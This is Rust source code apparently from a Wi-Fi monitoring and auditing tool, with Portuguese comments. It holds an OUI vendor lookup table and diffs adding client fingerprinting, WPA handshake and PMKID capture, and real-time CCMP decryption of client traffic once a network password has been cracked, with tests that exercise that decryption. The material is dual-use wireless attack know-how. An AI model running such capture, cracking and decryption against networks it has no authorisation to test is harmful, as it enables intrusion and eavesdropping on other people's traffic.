("bca511", "Netgear"),
("bca920", "Apple"),
("bcaec5", "Asus"),
("bcec5d", "Apple"),
("bcee7b", "Asus"),
("c025e9", "TP-Link"),
("c03f0e", "Netgear"),
("c04a00", "TP-Link"),
("c06394", "Apple"),
("c07009", "Huawei"),
("c0847a", "Apple"),
("c08ade", "Aruba"),
("c09f42", "Apple"),
("c0a0bb", "D-Link"),
("c0a53e", "Apple"),
("c0bdd1", "Samsung"),
("c0cecd", "Apple"),
("c0d012", "Apple"),
("c0f2fb", "Apple"),
("c0ffd4", "Netgear"),
("c4017c", "Ruckus"),
("c40415", "Netgear"),
("c40528", "Huawei"),
("c42c03", "Apple"),
("c43dc7", "Netgear"),
("c4576e", "Samsung"),
("c46e1f", "TP-Link"),
("c47154", "Aruba"),
("c4a81d", "D-Link"),
("c4b301", "Apple"),
("c4e984", "TP-Link"),
("c80e14", "TP-Link"),
("c819f7", "Samsung"),
("c82a14", "Apple"),
("c83a35", "Netgear"),
("c86000", "Asus"),
("c869cd", "Apple"),
("c86f1d", "Apple"),
("c88550", "Apple"),
("c894bb", "Huawei"),
("c8b5ad", "Ruckus"),
("c8b5b7", "Apple"),
("c8bcc8", "Apple"),
("c8be19", "D-Link"),
("c8d083", "Apple"),
("c8e0eb", "Apple"),
("c8f650", "Apple"),
("cc07ab", "Samsung"),
("cc088d", "Apple"),
("cc20e8", "Apple"),
("cc25ef", "Apple"),
("cc29f5", "Apple"),
("cc2d1b", "Asus"),
("cc2de0", "MikroTik"),
("cc32e5", "TP-Link"),
("cc3e5f", "Ruckus"),
("cc40d0", "Netgear"),
("cc4463", "Apple"),
("cc53b5", "Huawei"),
("cc785f", "Apple"),
("ccb255", "D-Link"),
("ccc760", "Apple"),
("d017c2", "Asus"),
("d021f9", "Ubiquiti"),
("d022be", "Samsung"),
("d023db", "Apple"),
("d02598", "Apple"),
("d02db3", "Huawei"),
("d03311", "Apple"),
("d04f7e", "Apple"),
("d05afd", "Aruba"),
("d0667b", "Samsung"),
("d07e28", "TP-Link"),
("d0817a", "Apple"),
("d0a637", "Apple"),
("d0c5f3", "Apple"),
("d0d2b0", "Apple"),
("d0e140", "Apple"),
("d45d64", "Asus"),
("d4619d", "Apple"),
("d468ba", "Ruckus"),
("d46e0e", "TP-Link"),
("d46e5c", "Huawei"),
("d487d8", "Samsung"),
("d49a20", "Apple"),
("d4ca6d", "MikroTik"),
("d4d2d6", "Apple"),
("d4f46f", "Apple"),
("d80d17", "TP-Link"),
("d81d72", "Apple"),
("d83062", "Apple"),
("d838fc", "Ruckus"),
("d84732", "TP-Link"),
("d8490b", "Huawei"),
("d850e6", "Asus"),
("d857ef", "Samsung"),
("d89695", "Apple"),
("d89e3f", "Apple"),
("d8a25e", "Apple"),
("d8bb2c", "Apple"),
("d8c7c8", "Aruba"),
("d8cf9c", "Apple"),
("d8d1cb", "Apple"),
("d8fee3", "D-Link"),
("dc0c5c", "Apple"),
("dc2b2a", "Apple"),
("dc2c6e", "MikroTik"),
("dc3714", "Apple"),
("dc415f", "Apple"),
("dc7144", "Samsung"),
("dc7412", "Ruckus"),
("dc86d8", "Apple"),
("dc9b9c", "Apple"),
("dc9fdb", "TP-Link"),
("dca4ca", "Apple"),
("dca904", "Apple"),
("dcb808", "Apple"),
("dcd2fc", "Huawei"),
("dcda4f", "D-Link"),
("dcef09", "Netgear"),
("e005c5", "TP-Link"),
("e0107f", "Ruckus"),
("e0247f", "Huawei"),
("e03f49", "Asus"),
("e0469a", "Netgear"),
("e0553d", "Meraki"),
("e05f45", "Apple"),
("e063da", "Ubiquiti"),
("e06678", "Apple"),
("e091f5", "Netgear"),
("e0b52d", "Apple"),
("e0b9ba", "Apple"),
("e0c767", "Apple"),
("e0c97a", "Apple"),
("e0cb4e", "Asus"),
("e0d9e3", "Apple"),
("e0f5c6", "Apple"),
("e0f847", "Apple"),
("e4121d", "Samsung"),
("e425e7", "Apple"),
("e42b34", "Apple"),
("e450eb", "Apple"),
("e458b8", "Samsung"),
("e468a3", "Huawei"),
("e46f13", "D-Link"),
("e470b8", "Asus"),
("e47cf9", "Samsung"),
("e48b7f", "Apple"),
("e48d8c", "MikroTik"),
("e49a79", "Apple"),
("e4b318", "Apple"),
("e4c32a", "TP-Link"),
("e4c63d", "Apple"),
("e4ce8f", "Apple"),
("e4e4ab", "Apple"),
("e4f4c6", "Netgear"),
("e8039a", "Samsung"),
("e8040b", "Apple"),
("e80688", "Apple"),
("e8088b", "Huawei"),
("e8102f", "Ruckus"),
("e82689", "Apple"),
("e82a44", "Apple"),
("e848b8", "TP-Link"),
("e8553d", "Meraki"),
("e86d52", "Aruba"),
("e8802e", "Apple"),
("e88d28", "Apple"),
("e89c25", "Asus"),
("e8b2ac", "Apple"),
("e8cc18", "D-Link"),
("e8de27", "TP-Link"),
("e8fcaf", "Netgear"),
("ec086b", "TP-Link"),
("ec172f", "TP-Link"),
("ec1f72", "Samsung"),
("ec2280", "D-Link"),
("ec233d", "Huawei"),
("ec3586", "Apple"),
("ec852f", "Apple"),
("ec8eb5", "Aruba"),
("ec9bf3", "Asus"),
("f01898", "Apple"),
("f01cfc", "Apple"),
("f025b7", "Samsung"),
("f02f74", "Asus"),
("f03e90", "Ruckus"),
("f04347", "Huawei"),
("f05c19", "Aruba"),
("f07960", "Apple"),
("f07d68", "D-Link"),
("f0989d", "Apple"),
("f09fc2", "TP-Link"),
("f0b0e7", "Apple"),
("f0c1f1", "Apple"),
("f0cba1", "Apple"),
("f0d1a9", "Apple"),
("f0dbe2", "Apple"),
("f0dce2", "Apple"),
("f0f61c", "Apple"),
("f437b7", "Apple"),
("f4559c", "Huawei"),
("f45c89", "Apple"),
("f45fd4", "Apple"),
("f46d04", "Asus"),
("f483cd", "TP-Link"),
("f49f54", "Samsung"),
("f4e2c6", "Ubiquiti"),
("f4ec38", "TP-Link"),
("f4f15a", "Apple"),
("f4f5d8", "Google"),
("f4f951", "Apple"),
("f80113", "Huawei"),
("f81edf", "Apple"),
("f82793", "Apple"),
("f832e4", "Asus"),
("f83880", "Apple"),
("f86fc1", "Apple"),
("f87394", "Netgear"),
("f8ffc2", "Apple"),
("fc0013", "Samsung"),
("fc253f", "Apple"),
("fc3497", "Asus"),
("fc48ef", "Huawei"),
("fc7516", "D-Link"),
("fc7c02", "TP-Link"),
("fca13e", "Samsung"),
("fcc734", "Samsung"),
("fcd848", "Apple"),
("fce998", "Apple"),
("fcecda", "Ubiquiti"),
("fcfc48", "Apple"),
];
pub fn vendor(mac: &str) -> Option<&'static str> {
let hex: String = mac
.chars()
.filter(|c| c.is_ascii_hexdigit())
.take(6)
.collect::<String>()
.to_ascii_lowercase();
if hex.len() < 6 {
return None;
}
OUIS.iter()
.find(|(prefix, _)| *prefix == hex)
.map(|(_, name)| *name)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn finds_common_vendors() {
assert_eq!(vendor("b8:27:eb:aa:bb:cc"), None);
assert_eq!(vendor("00:0c:29:aa:bb:cc"), Some("VMware"));
assert_eq!(vendor("F4:F5:D8:00:00:00"), Some("Google"));
assert_eq!(vendor("nope"), None);
}
#[test]
fn prefixes_are_normalized() {
for (prefix, _) in OUIS {
assert_eq!(prefix.len(), 6, "{prefix}");
assert!(prefix.chars().all(|c| c.is_ascii_hexdigit()), "{prefix}");
assert_eq!(*prefix, prefix.to_ascii_lowercase(), "{prefix}");
}
}
}
+305 -2
View File
@@ -4,7 +4,7 @@
use crate::dot11::{self, FrameKind, Security};
use crate::handshake::{Handshake, HandshakeInfo, HandshakeTracker};
use crate::radiotap::{self, Band};
use std::collections::HashMap;
use std::collections::{HashMap, VecDeque};
use std::time::{SystemTime, UNIX_EPOCH};
#[derive(Debug, Clone, serde::Serialize)]
@@ -19,7 +19,21 @@ pub struct AccessPoint {
pub cipher: Option<String>,
pub akm: Vec<String>,
pub pmf: bool,
pub pmf_required: bool,
pub wps: bool,
pub wps_locked: Option<bool>,
pub wps_version: Option<String>,
pub wps_manufacturer: Option<String>,
pub wps_model: Option<String>,
pub wps_model_number: Option<String>,
pub wps_device_name: Option<String>,
pub wps_serial: Option<String>,
pub vendor: Option<String>,
pub country: Option<String>,
pub phy: Vec<String>,
pub width_mhz: Option<u16>,
pub beacon_interval: Option<u16>,
pub privacy: bool,
pub signal_dbm: Option<i8>,
pub max_signal_dbm: Option<i8>,
pub beacons: u64,
@@ -29,9 +43,33 @@ pub struct AccessPoint {
pub last_seen_unix: u64,
}
#[derive(Debug, Clone, serde::Serialize)]
pub struct SignalSample {
pub t: u64,
pub dbm: i8,
}
#[derive(Debug, Clone, serde::Serialize)]
pub struct ClientEvent {
pub t: u64,
pub kind: String,
pub detail: Option<String>,
}
#[derive(Debug, Clone, serde::Serialize)]
pub struct Client {
pub mac: String,
/// Nome curto para exibir: hostname, nome WPS, modelo ou fabricante.
pub display_name: Option<String>,
pub vendor: Option<String>,
pub manufacturer: Option<String>,
pub model: Option<String>,
pub device_name: Option<String>,
pub hostname: Option<String>,
pub ip: Option<String>,
pub os: Option<String>,
pub device: Option<String>,
pub random_mac: bool,
pub bssid: Option<String>,
pub signal_dbm: Option<i8>,
pub max_signal_dbm: Option<i8>,
@@ -40,6 +78,11 @@ pub struct Client {
pub associated: bool,
pub first_seen_unix: u64,
pub last_seen_unix: u64,
/// Amostras de sinal (mais antiga primeiro), limitadas para não crescer
/// sem fim numa captura longa.
pub signal_history: Vec<SignalSample>,
/// Linha do tempo curta: primeiro visto, probe, associação, desautenticação.
pub events: Vec<ClientEvent>,
}
#[derive(Debug, Clone, Copy, Default)]
@@ -58,6 +101,17 @@ pub struct ScanSnapshot {
pub access_points: Vec<AccessPoint>,
pub clients: Vec<Client>,
pub handshakes: Vec<HandshakeInfo>,
pub analysis: crate::analysis::Analysis,
/// Preenchido quando a captura morreu sozinha (erro de I/O, adaptador
/// caiu da USB, etc.) — `running` já vem `false` nesse caso, mas sem
/// isso a UI não tinha como dizer *por quê* parou.
pub error: Option<String>,
/// Preenchido quando a captura está rodando mas não recebeu nenhum
/// quadro depois de um tempo razoável saltando canais — sintoma de uma
/// placa que aceita ativar o modo monitor (o netlink não recusa) mas não
/// entrega quadro nenhum de verdade. Comum em placas Wi-Fi internas de
/// notebook; diferente de `error`, a sessão continua `running`.
pub warning: Option<String>,
}
#[derive(Debug, Clone, Copy, Default, serde::Serialize)]
@@ -78,6 +132,7 @@ pub struct ScanTable {
frames: u64,
eapol_frames: u64,
deauth_frames: u64,
deauth_times: VecDeque<u64>,
}
impl ScanTable {
@@ -129,7 +184,21 @@ impl ScanTable {
cipher: None,
akm: Vec::new(),
pmf: false,
pmf_required: false,
wps: false,
wps_locked: None,
wps_version: None,
wps_manufacturer: None,
wps_model: None,
wps_model_number: None,
wps_device_name: None,
wps_serial: None,
vendor: crate::oui::vendor(&bssid).map(str::to_string),
country: None,
phy: Vec::new(),
width_mhz: None,
beacon_interval: None,
privacy: false,
signal_dbm: None,
max_signal_dbm: None,
beacons: 0,
@@ -155,7 +224,24 @@ impl ScanTable {
ap.cipher = info.cipher.clone();
ap.akm = info.akm.clone();
ap.pmf = info.pmf;
ap.pmf_required = info.pmf_required;
ap.wps = info.wps;
if info.wps {
ap.wps_locked = info.wps_locked;
ap.wps_version = info.wps_version.clone();
ap.wps_manufacturer = info.wps_manufacturer.clone();
ap.wps_model = info.wps_model.clone();
ap.wps_model_number = info.wps_model_number.clone();
ap.wps_device_name = info.wps_device_name.clone();
ap.wps_serial = info.wps_serial.clone();
}
ap.country = info.country.clone().or(ap.country.take());
if !info.phy.is_empty() {
ap.phy = info.phy.clone();
}
ap.width_mhz = info.width_mhz.or(ap.width_mhz);
ap.beacon_interval = info.beacon_interval.or(ap.beacon_interval);
ap.privacy = info.privacy;
ap.signal_dbm = rt.signal_dbm;
if let Some(sig) = rt.signal_dbm {
ap.max_signal_dbm = Some(ap.max_signal_dbm.map_or(sig, |m| m.max(sig)));
@@ -174,11 +260,19 @@ impl ScanTable {
let info = frame.management_info();
let c = self.touch_client(&client, now, rt.signal_dbm);
c.packets += 1;
apply_management_identity(c, &info);
if let Some(ssid) = info.ssid.filter(|s| !s.is_empty()) {
if !c.probes.contains(&ssid) {
c.probes.push(ssid);
c.probes.push(ssid.clone());
c.events.push(ClientEvent {
t: now,
kind: "probe".into(),
detail: Some(ssid),
});
trim_events(c);
}
}
refresh_identity(c);
}
FrameKind::AssociationRequest => {
let client = frame.src_str();
@@ -187,10 +281,22 @@ impl ScanTable {
.map(|m| dot11::mac_to_string(&m))
.or_else(|| frame.bssid_str());
if let (Some(client), Some(bssid)) = (client, bssid) {
let info = frame.management_info();
let c = self.touch_client(&client, now, rt.signal_dbm);
c.packets += 1;
apply_management_identity(c, &info);
refresh_identity(c);
let was = c.associated;
c.bssid = Some(bssid.clone());
c.associated = true;
if !was {
c.events.push(ClientEvent {
t: now,
kind: "associate".into(),
detail: Some(bssid.clone()),
});
trim_events(c);
}
if let Some(ap) = self.aps.get_mut(&bssid) {
if !ap.clients.contains(&client) {
ap.clients.push(client);
@@ -211,10 +317,43 @@ impl ScanTable {
};
if let (Some(client), Some(bssid)) = (client.clone(), bssid.clone()) {
if client != bssid {
// Calculado antes do touch_client: a TK vem de self.handshakes, e
// o borrow checker não deixa consultar isso com `c` (borrow de
// self.clients) vivo ao mesmo tempo.
let tk = (frame.protected && frame.to_ds && !frame.from_ds)
.then(|| self.handshakes.tk_for(&bssid, &client))
.flatten();
let c = self.touch_client(&client, now, rt.signal_dbm);
c.packets += 1;
if frame.to_ds && !frame.from_ds {
if frame.protected {
// Só decifra se já quebramos a senha e vimos o handshake
// DESSE cliente — a PTK é por associação, então a senha da
// rede sozinha não abre tráfego de quem não foi capturado.
if let Some(plain) = tk.and_then(|tk| frame.ccmp_payload(&tk)) {
let payload = dot11::payload_info_from_llc(&plain);
apply_payload_identity(c, &payload);
}
} else {
let payload = frame.payload_info();
apply_payload_identity(c, &payload);
}
}
// Sempre recalcula o nome de exibição, mesmo em quadros AP→estação
// (downlink): sem isso, um cliente só visto recebendo dados nunca
// ganhava o fallback para o fabricante (OUI), ficando só com o MAC.
refresh_identity(c);
let was = c.associated;
c.bssid = Some(bssid.clone());
c.associated = true;
if !was {
c.events.push(ClientEvent {
t: now,
kind: "associate".into(),
detail: Some(bssid.clone()),
});
trim_events(c);
}
if let Some(ap) = self.aps.get_mut(&bssid) {
ap.data_frames += 1;
if !ap.clients.contains(&client) {
@@ -238,6 +377,14 @@ impl ScanTable {
}
FrameKind::Deauth | FrameKind::Disassoc => {
self.deauth_frames += 1;
self.deauth_times.push_back(now);
while self
.deauth_times
.front()
.is_some_and(|t| now.saturating_sub(*t) > 60)
{
self.deauth_times.pop_front();
}
event.deauth = true;
let a1 = frame.addr1.map(|m| dot11::mac_to_string(&m));
let a2 = frame.addr2.map(|m| dot11::mac_to_string(&m));
@@ -249,6 +396,14 @@ impl ScanTable {
};
if let Some(client) = client {
if let Some(c) = self.clients.get_mut(&client) {
if c.associated {
c.events.push(ClientEvent {
t: now,
kind: "deauth".into(),
detail: bssid.clone(),
});
trim_events(c);
}
c.associated = false;
c.last_seen_unix = now;
}
@@ -266,6 +421,16 @@ impl ScanTable {
.entry(mac.to_string())
.or_insert_with(|| Client {
mac: mac.to_string(),
display_name: None,
vendor: crate::oui::vendor(mac).map(str::to_string),
manufacturer: None,
model: None,
device_name: None,
hostname: None,
ip: None,
os: None,
device: None,
random_mac: is_random_mac(mac),
bssid: None,
signal_dbm: None,
max_signal_dbm: None,
@@ -274,15 +439,49 @@ impl ScanTable {
associated: false,
first_seen_unix: now,
last_seen_unix: now,
signal_history: Vec::new(),
events: vec![ClientEvent {
t: now,
kind: "first_seen".into(),
detail: None,
}],
});
c.last_seen_unix = now;
c.signal_dbm = signal;
if let Some(sig) = signal {
c.max_signal_dbm = Some(c.max_signal_dbm.map_or(sig, |m| m.max(sig)));
let should_push = c
.signal_history
.last()
.map_or(true, |s| s.t != now || s.dbm != sig);
if should_push {
c.signal_history.push(SignalSample { t: now, dbm: sig });
if c.signal_history.len() > 60 {
let drop = c.signal_history.len() - 60;
c.signal_history.drain(0..drop);
}
}
}
// Já dá o fallback pro fabricante (OUI) desde o primeiro avistamento,
// antes de qualquer quadro de gerenciamento/dados chegar a chamar
// refresh_identity de novo.
if c.display_name.is_none() {
refresh_identity(c);
}
c
}
pub fn analysis(&self) -> crate::analysis::Analysis {
let now = unix_now();
let aps = self.access_points();
let deauth = self.deauth_times.len() as u32;
crate::analysis::analyze(&aps, deauth, now)
}
pub fn deauth_60s(&self) -> u32 {
self.deauth_times.len() as u32
}
pub fn access_points(&self) -> Vec<AccessPoint> {
let mut v: Vec<_> = self.aps.values().cloned().collect();
v.sort_by(|a, b| {
@@ -337,6 +536,102 @@ impl ScanTable {
}
}
fn is_random_mac(mac: &str) -> bool {
let Some(first) = mac.split(':').next() else {
return false;
};
u8::from_str_radix(first, 16)
.map(|b| b & 0x02 != 0 && b & 0x01 == 0)
.unwrap_or(false)
}
fn apply_management_identity(c: &mut Client, info: &dot11::ManagementInfo) {
if let Some(name) = info.wps_device_name.as_deref().filter(|s| !s.is_empty()) {
c.device_name = Some(name.to_string());
}
if let Some(manufacturer) = info.wps_manufacturer.as_deref().filter(|s| !s.is_empty()) {
c.manufacturer = Some(manufacturer.to_string());
}
if let Some(model) = info.wps_model.as_deref().filter(|s| !s.is_empty()) {
c.model = Some(model.to_string());
}
if let Some(hint) = c.device_name.as_deref().or(c.model.as_deref()) {
if let Some(device) = dot11::device_from_text(hint) {
c.device = Some(device);
}
if let Some(os) = dot11::os_from_text(hint) {
c.os = Some(os);
}
}
}
fn apply_payload_identity(c: &mut Client, info: &dot11::PayloadInfo) {
if let Some(ip) = &info.ip {
c.ip = Some(ip.clone());
}
if let Some(hostname) = &info.hostname {
if !hostname.is_empty() {
c.hostname = Some(hostname.clone());
}
}
if let Some(manufacturer) = &info.manufacturer {
c.manufacturer = c.manufacturer.take().or_else(|| Some(manufacturer.clone()));
}
if let Some(model) = &info.model {
c.model = Some(model.clone());
}
if let Some(os) = &info.os {
c.os = Some(os.clone());
}
if let Some(device) = &info.device {
c.device = Some(device.clone());
}
if let Some(hint) = c.hostname.as_deref().or(c.device_name.as_deref()) {
if c.os.is_none() {
c.os = dot11::os_from_text(hint);
}
if c.device.is_none() {
c.device = dot11::device_from_text(hint);
}
}
}
fn refresh_identity(c: &mut Client) {
if c.manufacturer.is_none() {
c.manufacturer = c.vendor.clone();
}
if c.os.is_none() {
c.os = c
.hostname
.as_deref()
.or(c.device_name.as_deref())
.or(c.model.as_deref())
.and_then(dot11::os_from_text);
}
if c.device.is_none() {
c.device = c
.hostname
.as_deref()
.or(c.device_name.as_deref())
.or(c.model.as_deref())
.and_then(dot11::device_from_text);
}
c.display_name = c
.hostname
.clone()
.or_else(|| c.device_name.clone())
.or_else(|| c.model.clone())
.or_else(|| c.manufacturer.clone());
}
fn trim_events(c: &mut Client) {
const MAX: usize = 40;
if c.events.len() > MAX {
let drop = c.events.len() - MAX;
c.events.drain(0..drop);
}
}
fn security_label(s: Security) -> String {
match s {
Security::Open => "Open".into(),
@@ -469,4 +764,12 @@ mod tests {
assert_eq!(table.stats().deauth_frames, 1);
assert!(!table.clients()[0].associated);
}
#[test]
fn flags_locally_administered_macs() {
assert!(is_random_mac("5a:0d:93:04:cf:90"));
assert!(is_random_mac("02:11:22:33:44:55"));
assert!(!is_random_mac("00:11:22:33:44:55"));
assert!(!is_random_mac("ff:ff:ff:ff:ff:ff"));
}
}
+5 -4
View File
@@ -25,11 +25,11 @@ pub fn key_frame(message: u8, keyver: u8, nonce: [u8; 32], key_data: &[u8]) -> V
f[1] = EAPOL_TYPE_KEY;
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
f[4] = 2;
f[5..7].copy_from_slice(&key_info.to_le_bytes());
f[7..9].copy_from_slice(&16u16.to_le_bytes());
f[9..17].copy_from_slice(&1u64.to_le_bytes());
f[5..7].copy_from_slice(&key_info.to_be_bytes());
f[7..9].copy_from_slice(&16u16.to_be_bytes());
f[9..17].copy_from_slice(&1u64.to_be_bytes());
f[17..49].copy_from_slice(&nonce);
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
f
}
@@ -205,6 +205,7 @@ pub fn synthetic_handshake(
first_seen_unix: 1,
last_seen_unix: 2,
password: None,
tk: None,
};
// Exercita o parser de MAC do alvo.
assert!(dot11::parse_mac(&hs.bssid).is_some());
+5 -4
View File
@@ -37,11 +37,11 @@ pub fn key_frame(message: u8, keyver: u8, nonce: [u8; 32], key_data: &[u8]) -> V
f[1] = EAPOL_TYPE_KEY;
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
f[4] = 2;
f[5..7].copy_from_slice(&key_info.to_le_bytes());
f[7..9].copy_from_slice(&16u16.to_le_bytes());
f[9..17].copy_from_slice(&1u64.to_le_bytes());
f[5..7].copy_from_slice(&key_info.to_be_bytes());
f[7..9].copy_from_slice(&16u16.to_be_bytes());
f[9..17].copy_from_slice(&1u64.to_be_bytes());
f[17..49].copy_from_slice(&nonce);
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
f
}
@@ -231,6 +231,7 @@ pub fn synthetic_handshake(
first_seen_unix: 1,
last_seen_unix: 2,
password: None,
tk: None,
};
// Exercita o parser de MAC do alvo.
assert!(dot11::parse_mac(&hs.bssid).is_some());
+92
View File
@@ -67,6 +67,98 @@ fn hidden_ssid_beacon_is_marked_hidden() {
assert!(aps[0].hidden);
}
/// Depois que a senha de uma rede WPA2/CCMP é conhecida (quebrada), o
/// tráfego de dados do cliente cujo handshake foi capturado passa a ser
/// decifrado em tempo real pelo pipeline de ingestão — e a identidade
/// (aqui, o IP de origem, que exercita o parser de IPv4 por trás do LLC)
/// aparece mesmo com o bit "Protected" ligado.
#[test]
fn decrypts_ccmp_traffic_once_password_is_known_and_fills_client_identity() {
use sabia_core::crack::{compute_ptk, derive_pmk};
let mut table = ScanTable::new();
let ssid = "RedeCifrada";
let password = "senha-correta";
let beacon = common::beacon_frame(common::ap(), ssid, 6, &[2]);
table.ingest(&common::radiotap_wrap(&beacon, 2437, -35));
let (f1, f2) = common::handshake_radiotap_frames(ssid, password, 2, false);
table.ingest(&f1);
table.ingest(&f2);
let bssid_str = sabia_core::dot11::mac_to_string(&common::ap());
let station_str = sabia_core::dot11::mac_to_string(&common::sta());
table.set_password(&bssid_str, &station_str, password);
// A TK derivada pelo pipeline tem que bater com a calculada à parte, com
// os mesmos nonces fixos (0xaa/0xbb) que handshake_radiotap_frames usa.
let anonce = [0xaa; 32];
let snonce = [0xbb; 32];
let pmk = derive_pmk(password, ssid);
let ptk = compute_ptk(&pmk, &common::ap(), &common::sta(), &anonce, &snonce);
let expected_tk: [u8; 16] = ptk[32..48].try_into().unwrap();
let hs = table
.handshake(&bssid_str, &station_str)
.expect("handshake presente");
assert_eq!(
hs.tk,
Some(expected_tk),
"TK deveria ser derivada ao quebrar a senha"
);
// Monta um quadro QoS Data, STA->AP, protegido, com CCMP header (PN=1,
// ExtIV ligado) e cifra um payload LLC/SNAP+IPv4 "na mão" — o CTR do
// CCMP é simétrico, então usar decrypt_data pra cifrar é válido aqui.
let llc_ipv4 = {
let mut v = vec![0xAA, 0xAA, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00];
let mut ip = vec![
0x45, 0x00, 0x00, 20, 0x00, 0x00, 0x00, 0x00, 64, 17, 0x00, 0x00,
];
ip.extend_from_slice(&[192, 168, 1, 50]); // origem privada
ip.extend_from_slice(&[192, 168, 1, 1]); // destino
v.extend_from_slice(&ip);
v
};
let ccmp_header = [0x01u8, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00]; // PN=1, ExtIV
let mut to_cipher = Vec::new();
to_cipher.extend_from_slice(&ccmp_header);
to_cipher.extend_from_slice(&llc_ipv4);
to_cipher.extend_from_slice(&[0u8; 8]); // placeholder pro MIC, ignorado
let ciphertext = sabia_core::ccmp::decrypt_data(&expected_tk, &common::sta(), 0, &to_cipher)
.expect("cifra via CTR simétrico");
let mut body = Vec::new();
body.extend_from_slice(&ccmp_header);
body.extend_from_slice(&ciphertext);
body.extend_from_slice(&[0u8; 8]); // MIC cifrado — não conferido na decriptação
let mut frame = Vec::new();
let fc: u16 = 0x0088 | 0x0100 | 0x4000; // QoS Data, to_ds, protected
frame.extend_from_slice(&fc.to_le_bytes());
frame.extend_from_slice(&0u16.to_le_bytes()); // duration
frame.extend_from_slice(&common::ap()); // addr1 = BSSID
frame.extend_from_slice(&common::sta()); // addr2 = transmissor (estação)
frame.extend_from_slice(&common::ap()); // addr3 = destino (irrelevante aqui)
frame.extend_from_slice(&[0u8; 2]); // sequence control
frame.extend_from_slice(&[0u8; 2]); // QoS control, TID 0
frame.extend_from_slice(&body);
let ev = table.ingest_at(&common::radiotap_wrap(&frame, 2437, -45), 30);
assert!(!ev.eapol, "não é um quadro EAPOL");
let clients = table.clients();
let client = clients
.iter()
.find(|c| c.mac == station_str)
.expect("cliente deveria ter sido visto");
assert_eq!(
client.ip.as_deref(),
Some("192.168.1.50"),
"o IP só aparece se o CCMP foi decifrado corretamente"
);
}
#[test]
fn pmkid_only_handshake_is_detected_and_crackable() {
let mut table = ScanTable::new();